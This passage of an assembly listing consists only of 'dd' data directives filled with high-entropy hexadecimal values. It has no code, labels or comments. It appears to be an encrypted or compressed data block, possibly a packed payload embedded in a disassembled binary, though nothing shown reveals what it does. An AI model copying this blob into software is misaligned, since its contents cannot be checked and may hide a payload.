0C46EBCD0h, 0E21580FEh dd 7FC37D2h, 26B3913Eh, 921A83DFh, 0AE5EE857h, 70C2007Eh dd 0BB656E33h, 0C10014D4h, 27683AA2h, 1C7E8122h, 728617h dd 2C96FB61h, 0AA0083AEh, 9F10A9C8h, 788C496Ch, 0A7240090h dd 52873A17h, 0B8175BF5h, 0EDECAED6h, 379CB900h, 0BCA8702Fh dd 8250EE00h, 0DC081661h, 3F150019h, 919560EFh, 0CF0EBC8Dh dd 8014285Ch, 0F60B2470h, 0C859184Bh, 0F2B831ACh, 91127500h dd 0CF6BA273h, 1227AC5h, 106DC9D7h, 0D424021Dh, 0F450C063h dd 0CA00F894h, 0B9F9792Dh, 0FC783Ah, 0FE725CC7h, 0F28628CBh dd 85221200h, 24BC570Bh, 88C73C14h, 1EA009EEh, 9B8F9ACDh dd 4EEC1202h, 407C47CCh, 9D40A5h, 0FBA1D2E3h, 98F4DF0Dh dd 924CD4F3h, 1488230Bh, 25B18008h, 774E80Bh, 3AC3D66Ah dd 0D8D9F05Fh, 0DD009B96h, 5350012Fh, 4E5207h, 4DE83863h dd 0A7D5CDF9h, 324C3900h, 0C3CA05Ah, 0B10E0073h, 0E8E6A430h dd 1200FDCCh, 0BB4C7963h, 905E98A0h, 4F133018h, 7FF0F148h dd 0FEC1A48h, 80366A43h, 0ADB4549Fh, 125B0E0Dh, 59A0B506h dd 0CB9EFC4Ah, 8731FF3Fh, 98FEF634h, 1AE66360h, 0DD6F5890h dd 8FA6E103h, 97D8BAC2h, 2900B4A9h, 95AB662Bh, 0C6A80Fh dd 0EDAF4B12h, 0FCDDDA03h, 5B5FA016h, 0DFBA280Bh, 0F6983C8Ch dd 35285500h, 0CA292CF1h, 27E8FBh, 0C354F5CCh, 0AC31F9C0h dd 2378C107h, 0D571ABA2h, 980AFA0h, 36A6E3B5h, 0CB02EAB3h dd 0C807DDBFh, 0C47C6057h, 7ED64084h, 0CA412613h, 0AB19BB00h dd 0A25D10h, 40ADFE22h dd 9CBBFAD9h, 157EA503h, 9802DB56h, 1EC1500Eh, 4C8EF0D2h dd 0B8388CA6h, 2CDDED00h, 71E75ECAh, 0B063543Fh, 0DCBD09D0h dd 2D87AD75h, 8FEC50F3h, 26006D9Dh, 0A2714A1Fh, 0B2A119Eh dd 0E1C9F512h, 4E483380h, 780EA426h, 400E6C2Bh, 5750F41Eh dd 2C440E43h, 403E76CCh, 0F252B448h, 7D033258h, 1F78DE8Dh dd 0DBD4BB84h, 1C201E45h, 0AE284404h, 4450C78Dh, 3A6F40B5h dd 2C6911h, 13E3E8B1h, 6AF8EB25h, 62004C98h, 1593465h dd 0BC7C2E1h, 381032F6h, 90EF4A83h, 0B44A6AC0h, 430C1372h dd 607568DDh, 39322033h, 0A50B2E00h, 2DD1D08Bh, 0A2621D37h dd 0C98AC778h, 0A1016065h, 5750A7CAh, 0E10305B5h, 4F14AA7Bh dd 6FAED01Eh, 0CD77B8h, 0B57A0319h, 82DCF8E1h, 63C8E600h dd 0A45528ACh, 8F2D5814h, 9161FC00h, 0EA711E07h, 0E79450Fh dd 905CE0D5h, 62A677h, 0C8C6E95Ah, 0DEB50D11h, 617FD009h dd 2FE20779h, 0E9BBE440h, 21E26D9h, 30133F72h, 0A81000F9h dd 0A9895DBAh, 882AC900h, 820CB7ECh, 191B00EEh, 11C2E216h dd 67017B15h, 0B724B48Ch, 980B298h, 0AABD2EB8h, 0C2022B80h dd 95FF5D23h, 9010607Eh, 0A14074Dh, 695C8A97h, 0E1629980h dd 66024794h, 0FBFF125Dh, 2BA49108h, 1E499D60h, 0E4736902h dd 58050970h, 0B8D7F8A7h, 35B3B00h, 4CD49108h, 0B1F0967h dd 0F5DA04E1h, 0ADA0825Ah, 48FE9E2h, 0A3033C8Bh, 0DD88DE8Ah dd 5F0B6D6Ah, 20F98594h, 3AB3F1F8h, 0FACD73D7h, 0B6BD3EF2h dd 67007CC8h, 287B2011h, 0B9052E91h, 4B62A50Ah, 0A320A21Bh dd 58A788CEh, 85E918CCh, 39B439BDh, 4215A400h, 9FEBB688h dd 8EF1019Dh, 0BB5A7103h, 0D32EEC9Ah, 510D5F13h, 3BBACC00h dd 3285441h, 0B4B0B142h, 7B811A5Ah, 77E6F476h, 0C80283EEh dd 0EEEDD9E2h, 1DAA60C6h, 3CEFE4BCh, 39818159h, 5418DBDFh dd 4B0AC87Bh, 764E4600h, 68819F7Ah, 0F560006h, 93DB98C9h dd 8A510186h, 4D10E8C0h, 36077C00h, 0E55BA603h, 50B41EDCh dd 0CB984344h, 6BE80DD0h, 0E90F67B8h, 80D2B90Ch, 2F622E83h dd 91C00011h, 513980B5h, 6400A6DAh, 5FD07590h, 25C42Ch dd 0FA46731Eh, 41E633B6h, 0AA0D3000h, 9C21F88h, 0EAD4A0CFh dd 7F6D144Eh, 850784D1h, 80524F1Ah, 835E47C0h, 514AF400h dd 5BE1428Eh, 0CD1A0C2Ah, 1609245Dh, 0D36063E0h, 5A4ED0A8h dd 0CBB91FFFh, 91AF4287h, 5460BA7Eh, 0E777E927h, 5546FA00h dd 4DF1138Ah, 434E07DBh, 20CAABDEh, 36C12A7Fh, 0C5AE7C02h dd 4363E2A0h, 6A2998F8h, 0F92B2A43h, 7D28E8F4h, 619801E5h dd 0B9BB4ECBh, 38CBD65Fh, 0F615D2E0h, 8093A439h, 0CE18A68h dd 99A34253h, 48540914h, 8F2CB500h, 4C16128Eh, 0F0012049h dd 0D2AC7481h, 337060h, 362A4568h, 480E4B6Ah, 4C545F20h dd 0EFC7C0B7h, 443480E0h, 6E01A26Fh, 12898B0Bh, 0CE47C86h dd 0B0DD17BBh, 7188142Dh, 1027A700h, 3B9E4296h, 5E485A03h dd 0C02A768Dh, 7E52C06h, 0B26B67Dh, 47EB20A8h, 1402B44Bh dd 7280AECBh, 3D886058h, 0A17309D0h, 98816FF5h, 0F4919CF6h dd 0E761D4BAh, 682569F0h, 3E38A040h, 0AECB24Eh, 1D74FD18h dd 0FF0B00A4h, 498A426Fh, 7F980400h, 0F3BD4C6Dh, 60B3267Ch dd 241124D8h, 0C680941h, 4D8DFC81h, 6BF7C026h, 8A67CD80h dd 0B5A57E80h, 0E009A22h, 895542C7h, 78E6DB7h, 64439135h dd 0C0BB94D4h, 0B4EF3D15h, 0A059CC06h, 0E9028EBh, 7DEA29E4h dd 0B17F9260h, 2051C86h, 5DDF25D6h, 0B9E3A000h, 78E4C1h dd 0FA381E12h, 5C7E8EBAh, 3A0A3F75h, 0C10C97F6h, 0A2307018h dd 0F3681F04h, 915C73h, 3AB5325Bh, 26C02062h, 7044D674h dd 6A7B03F5h, 82147DFDh, 123351F8h, 3E0D9901h, 763F6634h dd 70F887D1h, 5A20000Eh, 8890A338h, 4873EFBCh, 200B8F6h dd 0A98C8B9Bh, 6103E6h, 438AA241h, 0B42DEC1Dh, 0D90077FAh dd 79A46774h, 0D42E37h, 0E2E12F49h, 33DB5284h, 0CEDD6C00h dd 43D3B1DFh, 0A674D4h, 1C8D2A4Eh, 38CAE5Ah, 0D8231A2Eh dd 0D5C08E9Eh, 42E885DAh, 0F4110052h, 0CC2B5540h, 0F25683Ch dd 3B1F0D9h, 5A35C98Bh, 5BABC69Dh, 6C2F0800h, 52EABD6Fh dd 0E2DA054Ch, 0C056402Eh, 4EBB7C68h, 6D83F9A0h, 33209900h dd 7BA4E12Dh, 507314h, 78532EC9h, 5990D583h, 5B306612h dd 4C38EC40h, 0C5A833h, 0F76E2E2Ah, 0D3DA23ECh, 101E2890h dd 5409549h, 414C373Fh, 6673009Dh, 2B111DC0h, 5B00469Ah dd 5425E1AFh, 7D8D7433h, 7A230319h, 2DF2CEB9h, 300120F9h dd 8F042975h, 269D5172h, 7F344482h, 0F22E4A63h, 6680C84Eh dd 4DECA35Fh, 170775CFh, 0FEE031Bh, 2729DCE4h, 36D2DCA0h dd 0F801DFDAh, 1B0206C7h, 0D3C09369h, 438500A3h, 202D1263h dd 2700B815h, 0ED9E8A95h, 8D8BF3h, 0FF255D29h, 20E1F86Eh dd 148FF400h, 0C698814Dh, 38370040h, 60072973h, 0B003E4CAh dd 0B530B69Fh, 0BEAC8862h, 0B250036Ch, 2971758Dh, 5F69F580h dd 0CCAD4400h, 0CBB83160h, 97190092h, 145CACC7h, 894282Ch dd 39E98A00h, 1C8046h, 178EDFD6h, 0C48751D4h, 0F53A0892h dd 6796003Dh, 695E3166h, 9356563h, 0E6E86323h, 0C17C2A88h dd 40120490h, 20DCDABFh, 0F48050A4h, 4E941291h, 77C8EE5h dd 0B85A9954h, 0AFA4C130h, 13EC84h, 9AF32BF0h, 6C26ABDFh dd 1E900E48h, 2C66B6BFh, 8EDC4900h, 0E17C2E5h, 0BA4BB19Ch dd 98085EFh, 2398C65Ch, 3E3A6700h, 0EE84EBAFh, 31190183h dd 4188D2FEh, 0A87D00Dh, 0EF4E8100h, 0C8F952FBh, 57706D1h dd 1051204Bh, 733D5C00h, 19023815h, 950C0079h, 0D71A0406h dd 0B60091D8h, 25C932DEh, 33D335Ah, 4FA12B13h, 4058509Bh dd 1C5C0129h, 68B2A0FFh, 7BC92A20h, 0DF790045h, 0FE274333h dd 1600E08Bh, 0D432E3CEh, 8CD3BAh, 39936089h, 0C19A3899h dd 0EE00D490h, 0D029FA6h, 4D9D48h, 0C98485A8h, 71F833E7h dd 0DBF01600h, 7CAC9A56h, 0B0CA0081h, 6D890791h, 8240F74h dd 0B1006846h, 9F7836AAh, 0EDCF0020h, 5E4FEB18h, 29004B4Eh dd 995DB68Eh, 9CB7A23Bh, 0ED9400D4h, 0B8BAB5F2h, 31983Bh dd 0C2115FD9h, 5C061BF5h, 28000AEAh, 0BCAD0918h, 3500FFFDh dd 0F812160Ch, 25F224h, 81A69063h, 0B0764B14h, 0CDA08A73h dd 0AC033B1Eh, 0EFAA7A39h, 41DE0BCh, 0A7630048h, 895D667Ch dd 6700B23h, 80032600h, 6C82F371h, 663E00F4h, 9B9929E8h dd 0A761BC8Eh, 2A27F722h, 3FE376E8h, 0A2006692h, 4481E2A6h dd 38E05D33h, 0E98A000h, 0CB826703h, 32261D86h, 0E2AD001Bh dd 0AB654F2Ah, 0F624C61Dh, 8ED6D800h, 0E70715h, 0D7DB3952h dd 0DCE1A291h, 0AC171800h, 0D1693CE0h, 0E3830137h, 5F3D24BAh dd 0A90FCC35h, 2A873000h, 986389C7h, 7A2701E2h, 0B5D5A202h dd 847CD48Fh, 66BF1607h, 3D5090CBh, 9F3A7h, 0E3678AA6h dd 0C5637A9Ah, 5CF1B202h, 507666DAh, 949300A0h, 31D9C790h dd 75000D65h, 88990A74h, 0F5DCCh, 77A05C3Dh, 5BC889F5h dd 189A7F00h, 6D9CD9EAh, 0AB8D0038h, 0D6232DF0h, 8E03A547h dd 4606EBE9h, 0F74EF8EFh, 0E0091803h, 0FE4F715Bh, 57787100h dd 74F2A7CFh, 1A8E087h, 76386280h, 2875AF68h, 0FAE2178Bh dd 23782C46h, 0A1524030h, 15706274h, 3D802E01h, 0ED0F46C2h dd 0A7EDCh, 75C86378h, 0CFF318A6h, 0E219F600h, 0C4AEE831h dd 7EC073FCh, 31B9FA79h dd 0F7995412h, 581880B0h, 889C24AFh, 2E4A9Ah, 0F723390Ch dd 0FA0EA3B4h, 80E55074h, 9DC41F19h, 221014D5h, 7EB15C70h dd 7880281Bh, 80CD4C3Dh, 792EEE6Ch, 0BB6402h, 0AF1E56E3h dd 0FD9A9622h, 0D25C2400h, 318BA3Bh, 80410033h, 342659DFh dd 9012F1Dh, 356DE143h, 7C864AEh, 0C7C61EA2h, 1BB280F8h dd 0B38EEFD1h, 731C8500h, 7905CE93h, 2DEEB4h, 4841CFDDh dd 0E8A41476h, 0E04F6C03h, 0B9758E07h, 0ABC021DCh, 0C1B20077h dd 8A272544h, 1902E2B4h, 88640C18h, 71DEE0D3h, 0B75500CDh dd 40F24C1Dh, 7C00FBB8h, 0DB5D564Fh, 0F6A2C15Ah, 3847EF9h dd 0EFC01E3Bh, 0C0AF95FCh, 0FA5677B2h, 66AB4900h, 72C2A961h dd 6B4F0070h, 7559078Bh, 7101AD8Fh, 0F98C5B08h, 13E863D6h dd 78D4A855h, 7541E68Ah, 0F8C40CF7h, 2C0890CFh, 819B21C7h dd 0A0798633h, 36E23Eh, 0FCC3A255h, 4B71A15Ch, 5987B032h dd 0CC88310Bh, 18E9F73Fh, 7F958844h, 0BA003CE6h, 15AAB9Ah dd 0AF65E52h, 4204D221h, 267709F8h, 0E385F189h, 4045C540h dd 0FD9B3820h, 0FA633647h, 5F48030h, 0C0E58419h, 0C16284D4h dd 0F0AF462Fh, 9D030555h, 589523EBh, 4EF78B80h, 9ADB831h dd 1707671h, 0AE987E54h, 21B80AD1h, 220F8580h, 129CBA5Fh dd 42192906h, 67868EDh, 0EABFFB02h, 0D8019939h, 0A17E1547h dd 88207432h, 0F008DD3Ah, 154E7921h, 8E93A000h, 3AD5D92h dd 0F6D700B8h, 386CAF29h, 0C700CBFCh, 0D85B1432h, 240FF9h dd 66D6E38Eh, 0A7A46F98h, 0CD603700h, 0E2C44012h, 3F0E0030h dd 0CC2B1020h, 9F7F7718h, 0D8C82107h, 0D61313F2h, 2C558834h dd 54030064h, 0A18C33Fh, 200DF45Fh, 298B31C8h, 59BE10DEh dd 46082E89h, 445CF644h, 604BB33h, 1218C242h, 14CDB227h dd 28068805h, 22290D90h, 8E226076h, 0E0E445C3h, 64B8EDFDh dd 6B8C4E00h, 9CDAEE06h, 97F50E5Dh, 0BD618846h, 0E87E3C14h dd 0B4011C36h, 0D6B1C05Ah, 0FBC479F4h, 80A600EDh, 477A3227h dd 0A50EDF91h, 208EC730h, 0EDDAD204h, 123F7DE0h, 2DD318h dd 428F1BEBh, 260674FBh, 9025F911h, 0D74A0010h, 169332C6h dd 3E0E4FDBh, 207AEED5h, 19EC4831h, 2D65001Bh, 0A56A65Ch dd 0D704032Fh, 0B80D64F5h, 18D2CAC0h, 7AB5E60Eh, 28C40081h dd 0A444543Dh, 407C693Eh, 0DEAEB700h, 0A5DB356Eh, 9BD40048h dd 0E8C32430h, 0B200748Eh, 0E9A8702Ah, 0E221CC2Ch, 0D3F60312h dd 2E7F75F8h, 201ECB81h, 0F102BB4Eh, 0B4AC8B4Fh, 7E60572Fh dd 9007B73h, 0D7C377A9h, 1AA9A1Dh, 36065712h, 0D8B4FBC5h dd 9F3AFE29h, 3A3E0E76h, 0F15BA02Dh, 309E0Eh, 0D1BEADAEh dd 0CC57F9A1h, 2F5C251Ch, 4F0325EEh, 0C62CAC89h, 0D9101498h dd 0B63EB005h, 77708A00h, 0AD191AC0h, 200BFD00h, 4644AF50h dd 0F55500C2h, 407B4243h, 0B8C0645Eh, 16FD8967h, 0A841009Bh dd 0B0498CD7h, 0A71483C2h, 4F9654Ch, 9A181F56h, 5C4EC7C0h dd 0B880A029h, 0A5280475h, 0C0D39EE0h, 1EB4E858h, 0BEB32A0Fh dd 400F0083h, 30642B7Bh, 528071BCh, 0AA00B5CAh, 0D61BF96Dh dd 9ACC48h, 6A75E2Ah, 55A85A3Ah, 10C5AE00h, 11B1676Fh dd 872E00D2h, 0DC430A57h, 6E7B8231h, 23081900h, 0A9D31DC6h dd 72BD3E0Bh, 8E5A8607h, 0DF01D0D4h, 4D3B9BC9h, 745E80BBh dd 22C55160h, 346B1635h, 0ECB700B7h, 0F593BB84h, 0B4AECB00h dd 17D85315h, 0B10700A0h, 6C6F714Ch, 0E828EA22h, 25F2B836h dd 0C0902A0Fh, 9CCB20D5h, 2675505Eh, 0A0168Ah, 0E03B3112h dd 0A0000FAAh, 0C0CB1A80h, 3E5F020h, 87B846FBh, 0AAD0CFB2h dd 33EC9509h, 3004275h, 0E5923818h, 0F1777Bh, 0FB5537A0h dd 0ED618452h, 7E14B602h, 80B187D8h, 0F2E112E8h, 3BA80042h dd 452C7230h, 1374363Ch, 1C65900h, 0E25A5768h, 95CE28AFh dd 7CA307A0h, 8490B10Eh, 2F7880C4h, 13009D51h, 0D883D674h dd 1FEB505Dh, 0CF8298F7h, 87805A33h, 44CCA6BDh, 5BF6D001h dd 0C17052ECh, 1F8661F4h, 13EBC704h, 62840007h, 0C8E27EE5h dd 0C1EAED00h, 0EB666E48h, 4AA700C5h, 0E820F03Ch, 11004557h dd 0FA99A897h, 1D1B9444h, 0F9FDB6E1h, 0D07A90Eh, 21C04CE0h dd 33001E05h, 3C4976A3h, 7C78BCFh, 0E9190665h, 454F056h dd 480E1EB1h, 2DFF1Dh, 75624F0Fh, 47220066h, 0B173FC12h dd 0C3E2644Dh, 71310100h, 1990702Ch, 0CF6B2E6Eh, 40E81E0Ah dd 0B9263360h, 4E02D608h, 6ED86CAEh, 64696039h, 25C90937h dd 81875501h, 0A03DC7E7h, 4EEB32BDh, 8368AA3Dh, 1CD3E41h dd 0BE8480EDh, 54FC00D3h, 0C275BD56h, 6B090CB3h, 98F604h dd 0C5922AA6h, 0F806E22Eh, 19A78D0h, 2D46E6DDh, 20C412CBh dd 1C0E69F0h, 0FFEC5FF1h, 42254A00h, 3CBD8D3h, 0E2151FAAh dd 0AE00C231h, 38789412h, 0DB632h, 0DE8B6946h, 7EA4735Eh dd 0ED260700h, 740C6C23h, 0E50A002Ah, 9E0851Dh, 649A384Eh dd 0F882BD00h, 9F75CCCAh, 0B79C097Ch, 0CC806678h, 0ABE19681h dd 9984DD00h, 41B2D55Ch, 0B7EB003Ch, 746FDA02h, 2D02A040h dd 84457178h, 74847520h, 0A0C8050h, 0CB583361h, 0CC1873CAh dd 0C5891C5h, 81416EACh, 0A7FC1EE0h, 0F300B970h, 92C07CDh dd 46B6D7h, 1482A2B3h, 93E6AB5Dh, 763816F8h, 6714FB41h dd 12D508F7h, 80184A19h, 4C14E898h, 0A016F4D2h, 12370FF7h dd 0FAB03922h, 0D1408042h, 0B3186364h, 0BDBCDABCh, 0E57231h dd 0D6BF7ABBh, 0A56804F7h, 4B4F9900h, 2444190Ch, 4878000Bh dd 39818FF3h, 0D900C314h, 0D538BD69h, 0DCF675h, 887D0AFh dd 544C724h, 6B079E00h, 10B12397h, 839907D2h, 2090C6BBh dd 0CD46C1A0h, 80F0D13Eh, 0E8A5FC9Fh, 571157Eh, 6B840CDCh dd 2E9C0032h, 0AC0D985Eh, 0E6977C50h, 1AB34B06h, 180DA39h dd 0C617907Dh, 0FB440452h, 7B339CB8h, 0A3D8A250h, 0C2CE3D00h dd 0E5AF8EFh, 4E751C17h, 0EAD78013h, 0C1A5242Dh, 50E4BE01h dd 4265E535h, 0A7AEE8h, 0A21F7936h, 96F3C5F4h, 60D0F200h dd 0A3AD866Ch, 440C0FA4h, 4FE2BE17h, 0D0C03578h, 9F3BD6CBh dd 2C222C1Ah, 23735F00h, 0A379A0h, 1103B490h, 0E261AC3Fh dd 5E363901h, 0C08F6E69h, 3BC9708Fh, 2D922FE0h, 14F0CB0Ch dd 0FABF9A00h, 2BF1E7ACh, 0C31200B6h, 9D9B545Fh, 0F00B5734h dd 0ED8544h, 0B6230AE3h, 2FDF0468h, 0C013BEA6h, 893C5050h dd 3400E0B2h, 0FB419FD1h, 98B3BC17h, 5AA31430h, 0EA00AD58h dd 0C31E2506h, 2C0BA53Dh, 0F3168E2h, 0B939E025h, 99EC8B6h dd 0F7FEC7FAh, 47183800h, 0DF00AE07h, 3F4C565h, 0C1196357h dd 0BA82ED78h, 0EA12E864h, 0B9278400h, 8138AEB5h, 2C200C0h dd 0BFF46B2Fh, 0B300ED08h, 0E9FF0C42h, 4B559B8h, 5EE1E577h dd 4004C784h, 1FF3477Dh, 0AA6ED500h, 0B639032Bh, 0D10C07B1h dd 609134D6h, 0F35B9FDDh, 0C400EEE2h, 3ED7B705h, 19F52Fh dd 654F2BCCh, 41DBFFF6h, 27891400h, 97CFC939h, 15C60E3Fh dd 0FD80F8F9h, 0DB3AFE48h, 2865500h, 0E7FB5B1Dh, 3DD40038h dd 0CF15168Dh, 26EAACEFh, 29822400h, 968AB1E9h, 16AAE683h dd 0ACDE1CF4h, 0A41F00CEh, 0F5545CADh, 943E0181h, 9E11D162h dd 0DE5F2088h, 5B3CB77Eh, 5C00F86Bh, 9F73A64Ch, 176C82Ah dd 639AB6A1h, 0F0EA46A3h, 82F46D60h, 808C7C58h, 0DDE5758Ah dd 1BEE00C8h, 4E377DEAh, 79004441h, 0FE72CE7Ah, 0DB2B10h dd 115C94A4h, 3C043BB3h dd 0D3435600h, 5EBF7D54h, 24C00063h, 0B525A20Dh, 3C00A7ADh dd 5CC64CB3h, 4DEFEC4Dh, 9000E086h, 1BCF623Ah, 3000A5AAh dd 87A7375Fh, 48A4E1A0h, 2900347Dh, 71A1248Dh, 0F000E54Ah dd 9F144D38h, 7AFAD2Ch, 0CBAAC93h, 0C0D14408h, 8A3E52BBh dd 9CC36500h, 309E5605h, 0FA9A0BECh, 0E400F1B3h, 0AE151071h dd 2458A107h, 0B1A01F90h, 0ED4322h, 2636C783h, 4CB5C8DEh dd 1C652F07h, 4D3060BEh, 0B829C5h, 6C6A9F1Ah, 20772EFEh dd 12E57300h, 0B75F7805h, 0ABEA022Ah, 94C3FDE8h, 82CD4A40h dd 41302FEAh, 4839801Dh, 0FCA1EC55h, 34A7A9Ch, 22F9ADDCh dd 23F0D8E0h, 1D0017CDh, 8F3E4331h, 3CAD5135h, 0E6010866h dd 0BCCBC5B9h, 0DD8ED8D8h, 6452A00h, 4F4E248Ah, 3F5328B5h dd 63DF009Ch, 4923A60Ah, 6916DBB0h, 18014FD4h, 7527EABDh dd 903483E4h, 0F4551CDCh, 3021B0C9h, 0D50E5B56h, 58AABE0Dh dd 85D651h, 0E941671Fh, 0FFFB0FEDh, 63DD4F00h, 95877D98h dd 46D00EAh, 3EAECEA3h, 0C800732Ah, 8DFFE35Eh, 89C479h dd 40A2DECh, 30A4BCB8h, 0B5B200Ch, 223E66Dh, 0CD4B281Ch dd 3440FB0Eh, 0C800CFBFh, 822D5C2h, 41E278h, 0EA9B1687h dd 0C25A3B2h, 0E1315907h, 63D0D151h, 0A43F05h, 0C8490F93h dd 7AE0DABDh, 45F46626h, 91062B06h, 3AEB2C78h, 3C20076Fh dd 9676308Ah, 5F00EAE7h, 67DF9A26h, 2CEDD808h, 0B98936Dh dd 0F680376Bh, 50FD73B8h, 0A2686501h, 54713078h, 0E8FE97E4h dd 0AA5F1FCEh, 0AD374583h, 94C0AA36h, 3F93B6FBh, 69090A6Dh dd 3C801C4Ch, 1803E2B1h, 50F0870Ch, 0FC12994Ah, 0A215009Ch dd 2E8C8ED4h, 0E60072FDh, 0D6FC5D74h, 4B1ADFh, 85C41855h dd 0B534ACF5h, 0F74CE5Ch, 202999B1h, 0C8D74AB4h, 0EA9400DEh dd 9AC3E6CBh, 81008590h, 5EB66BD1h, 3BBD8292h, 0D784FEA7h dd 83288BE2h, 51976504h, 2038E13Dh, 0F50572A4h, 0F8E7A10Bh dd 0FB80F884h, 5B0141h, 38BF0C4Ah, 2E3A0564h, 1E732600h dd 0A69EB28Bh, 0AFD3008Eh, 0BFC1C2BBh, 0C00021D4h, 0D125858Dh dd 9C194Dh, 0EE6132E4h, 9242508Ah, 583B9800h, 59747296h dd 4F1C1CF8h, 0AA36433Eh, 3F8F37B9h, 90F39807h, 0AC9C56B5h dd 9F90460Fh, 0FCC900BBh, 0CEF7D2Dh, 3ED35403h, 10C07CC6h dd 1BFA6966h, 0C77501A2h, 76702A8Dh, 14C38CDh, 8813D601h dd 0A0405D11h, 0FF31FB3h, 0F70EBAF4h, 9076E7C5h, 10F1CE78h dd 0F5623407h, 1BBAB2h, 63EC0274h, 0E1FF667h, 48C16DAAh dd 1396142Ch, 8BD6110Ch, 77887Bh, 0A0D8CA67h, 45FC1F57h dd 74905674h, 40B034E8h, 0D63064F2h, 84471CFh, 0C79E00D9h dd 8ED84FE6h, 3E766154h, 918C0700h, 5E4078EEh, 83449CBBh dd 0CA76CFDEh, 931B1000h, 816415FEh, 9EA20162h, 1BFE994h dd 5552CC70h, 0DC47CE1Ch, 5E03BE80h, 300B9Dh, 1DDA6273h dd 0ADFBA03Ah, 51CAFF01h, 0C8B8612Bh, 7729838h, 6916EA74h dd 0FD02001Bh, 31002C38h, 0CCD74226h, 0F9A857h, 7B8A16E7h dd 9E0D7F84h, 20122EFEh, 0AC8019B4h, 70CFD7h, 0E539E405h dd 0D0A3592h, 605D3600h, 9DEA7BEh, 0C0420268h, 0ACBA3C4Ah dd 0A356A840h, 2B8A150Eh, 0D0B3C154h, 0B02C6035h, 756CD700h dd 99FE746Eh, 0A5D2B702h, 803C1E6Bh, 0FDA80D88h, 0F4C8E02Dh dd 8D050F8Ah, 9271AA2h, 0D4A901C5h, 2158E883h, 2EF87F03h dd 0F7F0920Ah, 30B40DEh, 0D9B26Fh, 0BFEC3D74h, 297B0836h dd 0AB1E3F0Fh, 3BEDE070h, 0A02D2CD7h, 1DA15D94h, 0C333B424h dd 6CD98245h, 0A3880A8Bh, 0DE00258Eh, 0F43B6BDh, 0F1261Bh dd 0AE453252h, 0AF1E639Bh, 349C2300h, 0E44D655Ch, 1D757AC4h dd 0C003097Dh, 7EE585B5h, 0FD00282Fh, 91D34117h, 35EC26Bh dd 4D6D8F3Ah, 0C788E301h, 85002776h, 3EABACD7h, 26699DE9h dd 2C8A850h, 565E121Dh, 0CC855C41h, 4B7896E7h, 0DF6EDE00h dd 0EF28DA72h, 0ADCF0417h, 80CDFF29h, 20EA5E00h, 8FA83F00h dd 44C6D2D5h, 1E8030E1h, 0A34C2248h, 0BF1A6710h, 0D45BEE00h dd 0A527F1FBh, 0BE77263Ch, 0C490F2B9h, 402F6248h, 0E4A41398h dd 0F23CD3EEh, 0C5037F74h, 0DE969F28h, 9E36F8EDh, 91A20056h dd 301CEAB0h, 781F34FFh, 0A9404CA6h, 0BC503EDBh, 5FB00D6h dd 400F111Eh, 0AE3DB71Ch, 0F713C41h, 40086214h, 1038FE09h dd 231200E9h, 0EAC06EF1h, 240F96F8h, 81B92B5Bh, 9233E5E3h dd 34C97E0h, 378A7A19h, 188C429h, 9CB031ECh, 5DFD3400h dd 0FFE533A7h, 0CCC848C7h, 8B081900h, 0B75EB894h, 12E9C01h dd 0ABCCBE5Fh, 0F6F71F8h, 64E72D7Dh, 150080B4h, 0A41B8C99h dd 4A00ADC4h, 51D5E3B1h, 76F6FB02h, 1EB5008Dh, 3E1356ACh dd 2A005A59h, 61E077DCh, 241776h, 2D638C94h, 7E1C8F25h dd 187C2724h, 2EDAEC00h, 2765456Ah, 0E0904375h, 0E2BF0E5Ch dd 8504C16Ah, 0E9E3C34h, 0B6B0628Fh, 16C0D340h, 413D06FAh dd 774D7207h, 1BF80074h, 7BD2CA39h, 39DC581Ah, 0C191751Ch dd 59A7E271h, 6800206Bh, 0BC880500h, 0AB584AB2h, 385005Ch dd 0E60A56E0h, 9C00D83Bh, 1EDA07EBh, 7DE0663h, 0FE603912h dd 26E3800Eh, 200B1DBDh, 0C1909BFDh, 0D8297418h, 347C004Eh dd 0C2AEE913h, 230BA603h, 0B76B85DFh, 4BB13CB0h, 0E4470079h dd 0DDC99B84h, 2F4CC06Ch, 6EE50004h, 9003E308h, 0CF9930F5h dd 49A21F18h, 7F1EE612h, 845A5400h, 68EB205h, 56AE6CBDh dd 0DC0928C1h, 80BE0360h, 16F128B6h, 0BB2E261h, 7E82EF8Ah dd 0E7F8A000h, 8700B578h, 89F37426h, 6A88BBh, 0D3CB3CD1h dd 0D5F67A0Ch, 39C4C900h, 6DF56F3Dh, 7F320165h, 0CC298FBh dd 3E25F00Ah, 0D0B2B81Dh, 8253D64Bh, 0E037FBE5h, 0EE74B8h dd 12B5DD44h, 10766009h, 1DEF8D01h, 28143B96h, 0E7053462h dd 0C089A147h, 0EA55F78Ch, 0DF3FF900h, 8BAB41E0h, 0B0E4000Fh dd 38CA1939h, 0D901DBD2h, 76D71C6h, 0AC74A5F1h, 4BBE07C1h dd 57231E36h, 0D730C7C3h, 0CF02F3B3h, 0EFD09D88h, 5749610Ah dd 0B040D434h, 0BA120h, 0A603F242h, 0D208047Fh, 58F9221Fh dd 3E4DFF01h, 276099E7h, 30500003h, 0A278A8DBh, 62038B0Dh dd 89E86CFCh, 0A6E6808Ah, 7E238h, 0B3947F4Ch, 81B54E71h dd 85FDEB00h, 6431FFE3h, 29BE1CE5h, 7A906A17h, 430C004Dh dd 3277CB19h, 26331D1Ah, 81BD58BEh, 48340D84h, 0DA750C4Dh dd 0BF188235h, 0E60087B0h, 56E9110Ch, 3AF9837h, 0B4A7290Eh dd 0F1D759FFh, 0C4534AB9h, 0C3397A9Fh, 3B5F0070h, 0E025B0DFh dd 4EEF16B3h, 1084C09Bh, 4607E42Eh, 7EC0D28Dh, 98299780h dd 0CFC90762h, 37EFDF21h, 0C34B4130h, 18947CFDh, 99A10C54h dd 44200E36h, 98E0A7DFh, 0FEF943EAh, 9F38A561h, 69803753h dd 0EC0B4467h, 0FB6383ABh, 0C8914E49h, 2207AC5h, 2D779A97h dd 10808CAEh, 41374CA2h, 0D01D1F98h, 67006344h, 79871E46h dd 2B58C0C3h, 0B413BE4Dh, 0F45C3B00h, 55656CD3h, 4CB20E2Ch dd 0BA02FECh, 0AA4624AEh, 32BA0700h, 6F82BC87h, 3A4B1DFBh dd 4040DDCDh, 0A72D8C2Fh, 0BA007E73h, 0D94335D1h, 170796h dd 5319BF74h, 0F8E59378h, 8CCEA1C0h, 545060Dh, 7BD86399h dd 818C4113h, 0C0AF592Dh, 9CA4E666h, 0DED2BF00h, 0AE746A40h dd 0C8431F8Eh, 642E2Ch, 879D6842h, 2814AF47h, 60F459A1h dd 0B0F5EF39h, 5FE8001Bh, 63298227h, 0A700AE99h, 